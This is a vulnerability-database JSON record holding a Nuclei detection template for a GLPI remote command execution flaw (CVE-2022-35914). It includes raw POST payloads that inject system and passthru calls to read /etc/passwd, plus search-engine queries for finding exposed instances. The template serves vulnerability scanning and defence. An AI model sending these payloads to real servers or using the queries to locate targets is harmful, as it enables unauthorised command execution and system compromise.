{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-35914/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-35914/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-35914/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-35914/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-35914/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-35914"},"sightings":{"href":"/api/v1/sightings/cve-2022-35914"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-35914.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-35914\n\ninfo:\n  name: GLPI <=10.0.2 - Remote Command Execution\n  author: For3stCo1d,allendemoura\n  severity: critical\n  description: |\n    GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.\n  remediation: |\n    Upgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability.\n  reference:\n    - https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914\n    - https://github.com/cosad3s/CVE-2022-35914-poc\n    - http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-35914\n    - https://github.com/glpi-project/glpi/releases\n    - https://senderend.medium.com/pg-practice-box-deep-dive-glpi-c3a1cf1520f8\n    - https://github.com/allendemoura/CVE-2022-35914\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-35914\n    cwe-id: CWE-74\n    epss-score: 0.9988\n    epss-percentile: 0.99965\n    cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: glpi-project\n    product: glpi\n    shodan-query:\n      - http.favicon.hash:\"-1474875778\"\n      - http.title:\"glpi\"\n    fofa-query:\n      - icon_hash=\"-1474875778\"\n      - title=\"glpi\"\n    google-query: intitle:\"glpi\"\n  tags: cve,cve2022,glpi,rce,kev,glpi-project,vkev,vuln\nvariables:\n  cmd: \"cat+/etc/passwd\"\n  execFunc1: \"system\"\n  execFunc2: \"passthru\"\n\nhttp:\n  - raw:\n      - |\n        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: sid=foo\n\n        sid=foo&hhook=exec&text={{cmd}}\n  - raw:\n      - |\n        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: sid=foo\n\n        sid=foo&text={{execFunc1}}&hfoo={{cmd}}&hhook=array_map\n  - raw:\n      - |\n        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: sid=foo\n\n        sid=foo&text={{execFunc2}}&hfoo={{cmd}}&hhook=array_map\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100e75e61f965f69c23b2e51c01ecfec3e4749b299fd5b3cb203a482d36fac034ca02207a076270ad4083af78655e16e179c32cde02c338edc6e2205943f219c19b3ca9:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-35914"}